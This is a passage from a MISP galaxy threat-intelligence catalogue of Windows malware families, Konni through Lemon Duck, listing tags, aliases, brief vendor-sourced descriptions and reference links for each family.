http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://us-cert.cisa.gov/ncas/alerts/aa20-227a
https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://wezard4u.tistory.com/6693
https://blog.lumen.com/new-konni-campaign-targeting-russian-ministry-of-foreign-affairs/
https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/

https://medium.com/@DCSO_CyTec/to-russia-with-love-assessing-a-konni-backdoored-suspected-russian-consular-software-installer-ce618ea4b8f3
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/

KoobFace

The tag is: *misp-galaxy:malpedia="KoobFace"*

KoobFace is also known as:

Table 4268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

Korlia

The tag is: *misp-galaxy:malpedia="Korlia"*

Korlia is also known as:

- Bisonal

Table 4269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-25-curious-korlia.md
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://securitykitten.github.io/2014/11/25/curious-korlia.html
https://asec.ahnlab.com/1298
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.93_ENG.pdf
https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf
https://www.youtube.com/watch?v=_fstHQSK-kk
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_3_takai_jp.pdf

https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://web.archive.org/web/20130920120931/https:/www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/
https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0919.pdf
https://www.secureworks.com/research/threat-profiles/bronze-huntley
http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment

Kovter

Kovter is a Police Ransomware

Feb 2012 - Police Ransomware Aug 2013 - Became AD Fraud Mar 2014 - Ransomware to AD Fraud malware June 2014 - Distributed from sweet orange exploit kit Dec 2014 - Run affiliated node Apr 2015 - Spread via fiesta and nuclear pack May 2015 - Kovter become fileless 2016 - Malvertising campaign on Chrome and Firefox June 2016 - Change in persistence July 2017 - Nemucod and Kovter was packed together Jan 2018 - Cyclance report on Persistence

The tag is: *misp-galaxy:malpedia="Kovter"*

Kovter is also known as:

Table 4270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless
https://0xchrollo.github.io/articles/unpacking-kovter-malware/
https://ry0dan.github.io/malware%20analysis/unpacking-kovter-malware/
https://www.cybereason.com/blog/how-click-fraud-commodity-malware-transforms-into-an-advanced-threat
https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663

https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update

KPOT Stealer

KPOT is an information-stealing Trojan horse that can steal information from infected computers. It is distributed through phishing emails and malicious websites. Once executed on a computer, KPOT can steal passwords, credit card numbers, and other personal information.

The tag is: *misp-galaxy:malpedia="KPOT Stealer"*

KPOT Stealer is also known as:

- Khalesi
- Kpot

Table 4271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer
https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd
https://isc.sans.edu/diary/25934
https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal
https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/
https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/
https://isc.sans.edu/diary/26010

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://blag.nullteilerfrei.de/2020/04/26/use-ghidra-to-decrypt-strings-of-kpotstealer-malware/
https://news.drweb.com/show/?i=13242&lng=en
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md

Krachulka

According to ESET, this malware family is a banking trojan and was active in Brazil until the middle of 2019. Its most noticeable characteristic was its usage of well-known cryptographic methods to encrypt strings, as opposed to the majority of Latin American banking trojans that mainly use custom encryption schemes.

The tag is: *misp-galaxy:malpedia="Krachulka"*

Krachulka is also known as:

Table 4272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krachulka
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/

Kraken

A ransomware that was active in 2018.

The tag is: *misp-galaxy:malpedia="Kraken"*

Kraken is also known as:

Table 4273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/
https://www.recordedfuture.com/kraken-cryptor-ransomware/

KrakenKeylogger

KrakenKeylogger is a .NET based Infostealer malware sold in Underground hacking forums

The tag is: *misp-galaxy:malpedia="KrakenKeylogger"*

KrakenKeylogger is also known as:

Table 4274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krakenkeylogger
https://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/
https://0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/

KrBanker

ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.

The tag is: *misp-galaxy:malpedia="KrBanker"*

KrBanker is also known as:

- BlackMoon

Table 4275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker
https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/
https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/
https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan
https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/
http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/

KrDownloader

The tag is: *misp-galaxy:malpedia="KrDownloader"*

KrDownloader is also known as:

Table 4276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader

KRNRAT

According to Trend Micro, this is a rootkit with capabilities of a full-featured backdoor with various capabilities, including process manipulation, file hiding, shellcode execution, traffic concealment, and C&C communication. It is controlled through a range of IOCTL codes.

The tag is: *misp-galaxy:malpedia="KRNRAT"*

KRNRAT is also known as:

Table 4277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krnrat
https://www.trendmicro.com/en_us/research/25/d/earth-kurma-apt-campaign.html

Kronos

Kronos malware is a sophisticated banking Trojan that first emerged in 2014. It is designed to target financial institutions and steal sensitive banking information. The malware is primarily spread through phishing campaigns and exploit kits. Once installed on a victim's computer, Kronos can capture login credentials, credit card details, and other personal information by keylogging and form grabbing techniques. It can also bypass security measures such as two-factor authentication. Kronos employs advanced evasion techniques to avoid detection by antivirus software and actively updates itself to evade security patches. It has been known to target a wide range of banking systems and has affected numerous organizations worldwide. The malware continues to evolve, making it a significant threat to online banking security.

The tag is: *misp-galaxy:malpedia="Kronos"*

Kronos is also known as:

- Osiris

Table 4278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos
https://twitter.com/3xp0rtblog/status/1294157781415743488
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html

https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/
https://unit42.paloaltonetworks.com/banking-trojan-techniques/
https://www.proofpoint.com/us/threat-insight/post/kronos-reborn
https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses
https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan
https://intel471.com/blog/privateloader-malware
https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/
https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/
https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/
https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf

KryptoCibule

The tag is: *misp-galaxy:malpedia="KryptoCibule"*

KryptoCibule is also known as:

Table 4279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kryptocibule
https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/

KSL0T

A keylogger used by Turla.

The tag is: *misp-galaxy:malpedia="KSL0T"*

KSL0T is also known as:

Table 4280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t
https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/
https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/
https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/

KTLVdoor (Windows)

According to Trend Micro, KTLVdoor is a highly obfuscated malware that masquerades as different system utilities, allowing attackers to carry out a variety of tasks including file manipulation, command execution, and remote port scanning.

The tag is: *misp-galaxy:malpedia="KTLVdoor (Windows)"*

KTLVdoor (Windows) is also known as:

Table 4281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ktlv_door
https://www.trendmicro.com/en_us/research/24/i/earth-lusca-ktlvdoor.html

Kuaibu

The tag is: *misp-galaxy:malpedia="Kuaibu"*

Kuaibu is also known as:

- Barys
- Gofot
- Kuaibpy

Table 4282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8

KugelBlitz

According to Threatray, KugelBlitz is a shellcode loader discovered in late 2024. It loads shellcode

into memory from a file specified via command line. If no file is specified, it defaults to run.bin.

The tag is: *misp-galaxy:malpedia="KugelBlitz"*

KugelBlitz is also known as:

Table 4283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kugelblitz
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two

Kuiper (Windows)

The tag is: *misp-galaxy:malpedia="Kuiper (Windows)"*

Kuiper (Windows) is also known as:

Table 4284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuiper
https://www.trellix.com/about/newsroom/stories/research/the-evolution-of-the-kuiper-ransomware/

Kuluoz

The tag is: *misp-galaxy:malpedia="Kuluoz"*

Kuluoz is also known as:

Table 4285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz

Kurton

The tag is: *misp-galaxy:malpedia="Kurton"*

Kurton is also known as:

Table 4286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Kutaki

Cofense characterizes Kutaki as a data stealer that uses old-school techniques to detect sandboxes and debugging. Kutaki however works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.

The tag is: *misp-galaxy:malpedia="Kutaki"*

Kutaki is also known as:

Table 4287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki
https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/
https://sequretek.com/kutaki-stealer-analysis/

Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

The tag is: *misp-galaxy:malpedia="Kwampirs"*

Kwampirs is also known as:

Table 4288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs
https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia
https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/
http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/

https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts
https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/
https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

Ladon

According to its self-description, Ladon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection and one click getshell. It supports batch a segment / b segment / C segment and cross network segment scanning, as well as URL, host and domain name list scanning.

The tag is: *misp-galaxy:malpedia="Ladon"*

Ladon is also known as:

Table 4289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon
https://github.com/k8gege/Ladon
https://asec.ahnlab.com/en/47455/
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://asec.ahnlab.com/en/56236/
https://nattothoughts.substack.com/p/reconnaissance-scanning-tools-used
https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/

LALALA Stealer

The tag is: *misp-galaxy:malpedia="LALALA Stealer"*

LALALA Stealer is also known as:

Table 4290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer
https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/

https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html
https://twitter.com/luc4m/status/1276477397102145538
https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/

Lambert (Windows)

The tag is: *misp-galaxy:malpedia="Lambert (Windows)"*

Lambert (Windows) is also known as:

- Plexor

Table 4291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert
https://ti.qianxin.com/blog/articles/network-weapons-of-cia/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.youtube.com/watch?v=jeLd-gw2bWo
https://twitter.com/*CPResearch*/status/1484502090068242433
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7

LambLoad

According to Microsoft, this is a downloader used in a supply chain attack involving a malicious variant of an application developed by CyberLink. It is centered around a legitimate CyberLink application installer that has been modified to include malicious code that downloads, decrypts, and loads a second-stage payload. The file, which was signed using a valid certificate issued to CyberLink Corp., is hosted on legitimate update infrastructure owned by CyberLink and includes checks to limit the time window for execution and evade detection by security products.

The tag is: *misp-galaxy:malpedia="LambLoad"*

LambLoad is also known as:

- OfficeCertTea

Table 4292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://www.microsoft.com/en-us/security/blog/2023/11/22/diamond-sleet-supply-chain-compromise-distributes-a-modified-cyberlink-installer/
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

Lamdelin

The tag is: *misp-galaxy:malpedia="Lamdelin"*

Lamdelin is also known as:

Table 4293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/

LaplasClipper

Clipboard stealer.

The tag is: *misp-galaxy:malpedia="LaplasClipper"*

LaplasClipper is also known as:

Table 4294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas
https://blog.cyble.com/2022/11/02/new-laplas-clipper-distributed-by-smokeloader/
https://twitter.com/Gi7w0rm/status/1604999633792647169
https://embee-research.ghost.io/laplas-clipper-infrastructure/
https://any.run/cybersecurity-blog/analyzing-laplasclipper-malware/

Laplas (Reverseshell)

According to Seqrite, this is a TLS-based reverse shell.

The tag is: *misp-galaxy:malpedia="Laplas (Reverseshell)"*

Laplas (Reverseshell) is also known as:

Table 4295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas_shell
https://www.seqrite.com/blog/operation-peek-a-baku-silent-lynx-apt-dushanbe-espionage/

LatentBot

FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

Using Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.

The tag is: *misp-galaxy:malpedia="LatentBot"*

LatentBot is also known as:

Table 4296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot
https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access
https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/
http://malware-traffic-analysis.net/2017/04/25/index.html
https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html

Latrodectus

First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.

The tag is: *misp-galaxy:malpedia="Latrodectus"*

Latrodectus is also known as:

- BLACKWIDOW
- IceNova
- Latrodectus
- Lotus

Table 4297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus
https://medium.com/@zyadlzyatsoc/inside-latrodectus-a-dive-into-malware-tactics-and-mitigation-5629cdb109ea
https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form/
https://x.com/embee_research/status/1792826263738208343
https://www.netskope.com/blog/latrodectus-rapid-evolution-continues-with-latest-new-payload-features
https://www.netskope.com/de/blog/latrodectus-rapid-evolution-continues-with-latest-new-payload-features
https://blog.eclecticiq.com/inside-intelligence-center-lunar-spider-enabling-ransomware-attacks-on-financial-sector-with-brute-ratel-c4-and-latrodectus
https://0x0d4y.blog/case-study-analyzing-and-implementing-string-decryption-algorithms-latrodectus/
https://any.run/malware-trends/latrodectus
https://embee-research.ghost.io/phishing-domain-analysis-with-passive-dns-latrodectus/
https://www.bitsight.com/blog/latrodectus-are-you-coming-back
https://www.esentire.com/blog/danabots-latest-move-deploying-icedid
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice
https://www.vmray.com/latrodectus-a-year-in-the-making/
https://github.com/leandrofroes/malware-research/blob/main/Latrodectus/latrodectus_static_unpacker.py
https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
https://www.microsoft.com/en-us/security/blog/2025/04/03/threat-actors-leverage-tax-season-to-deploy-tax-themed-phishing-campaigns/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://blog.krakz.fr/articles/latrodectus/
https://exchange.xforce.ibmcloud.com/malware-analysis/guid:dab8a02f9161933bc2eff5ba4a5f8412
https://hunt.io/blog/latrodectus-malware-masquerades-as-ahnlab-security-software-to-infect-victims
https://www.netresec.com/?page=Blog&month=2025-12&post=Latrodectus-BackConnect

https://research.openanalysis.net/latrodectus/config/emulation/2024/09/30/latrodectus.html
https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus
https://thedfirreport.com/2025/09/29/from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/
https://www.embeeresearch.io/latrodectus-script-deobfuscation/
https://embeeresearch.io/phishing-domain-analysis-with-passive-dns-latrodectus/
https://malcat.fr/blog/malcat-scripting-tutorial-deobfuscating-latrodectus/
https://www.forcepoint.com/blog/x-labs/inside-latrodectus-malware-phishing-campaign
https://www.malware-traffic-analysis.net/2024/03/07/index.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pronsis-loader-a-jphp-driven-malware-diverging-from-d3fck-loader/
https://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/
https://twitter.com/Myrtus0x0/status/1732997981866209550
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/Latrodectus/Latrodectus%20%22Littlehw%22.md
https://www.securonix.com/blog/securonix-threat-research-security-advisory-frozenshadow-attack-campaign/
https://jmp-esp.org/2025/04/01/latrodectus-malware-delivered-via-telegram-bot-chat-api/
https://www.logpoint.com/en/blog/latrodectus-the-wrath-of-black-widow/
https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://blog.reveng.ai/latrodectus-distribution-via-brc4/

Laturo Stealer

The tag is: *misp-galaxy:malpedia="Laturo Stealer"*

Laturo Stealer is also known as:

Table 4298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo
https://seclists.org/snort/2019/q3/343

LazarDoor

The tag is: *misp-galaxy:malpedia="LazarDoor"*

LazarDoor is also known as:

Table 4299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor
https://asec.ahnlab.com/ko/40495/
https://asec.ahnlab.com/ko/53832/
https://asec.ahnlab.com/wp-content/uploads/2023/10/20231013_Lazarus_OP.Dream_Magic.pdf

LazarLoader

The tag is: *misp-galaxy:malpedia="LazarLoader"*

LazarLoader is also known as:

Table 4300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader
https://securelist.com/bluenoroff-methods-bypass-motw/108383/
https://asec.ahnlab.com/ko/53832/

KillDisk (Lazarus)

The tag is: *misp-galaxy:malpedia="KillDisk (Lazarus)"*

KillDisk (Lazarus) is also known as:

- KillDisk.NBO

Table 4301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

Laziok

The tag is: *misp-galaxy:malpedia="Laziok"*

Laziok is also known as:

Table 4302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok
https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802
https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector

LazyCat

The tag is: *misp-galaxy:malpedia="LazyCat"*

LazyCat is also known as:

Table 4303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

LCPDot

The tag is: *misp-galaxy:malpedia="LCPDot"*

LCPDot is also known as:

Table 4304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot
https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/
https://securelist.com/lazarus-trojanized-defi-app/106195/
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html

https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf
https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf

LDR4

A further branch of the URSNIF collection of malware families. According to Mandiant, it no longer has focus on banking fraud but generic backdoor capabilities instead.

The tag is: *misp-galaxy:malpedia="LDR4"*

LDR4 is also known as:

Table 4305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4
https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud

Leakthemall

Ransomware.

The tag is: *misp-galaxy:malpedia="Leakthemall"*

Leakthemall is also known as:

Table 4306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leakthemall
https://id-ransomware.blogspot.com/2020/09/leakthemall-ransomware.html

Leash

The tag is: *misp-galaxy:malpedia="Leash"*

Leash is also known as:

Table 4307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leash
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

Lechiket

The tag is: *misp-galaxy:malpedia="Lechiket"*

Lechiket is also known as:

Table 4308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lechiket
https://artemonsecurity.blogspot.com/2012/07/investigation-interesting-kernel-mode.html

Lemon Duck

Lemon Duck is a monerocrypto-mining malware with capabilitiy to spread rapidly across the entire network. The malware runs its payload mainly in memory. Internal network spreading is performed by SMB RCE Vulnerability (CVE-2017-0144), or brute-force attacks.

The tag is: *misp-galaxy:malpedia="Lemon Duck"*

Lemon Duck is also known as:

Table 4309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck
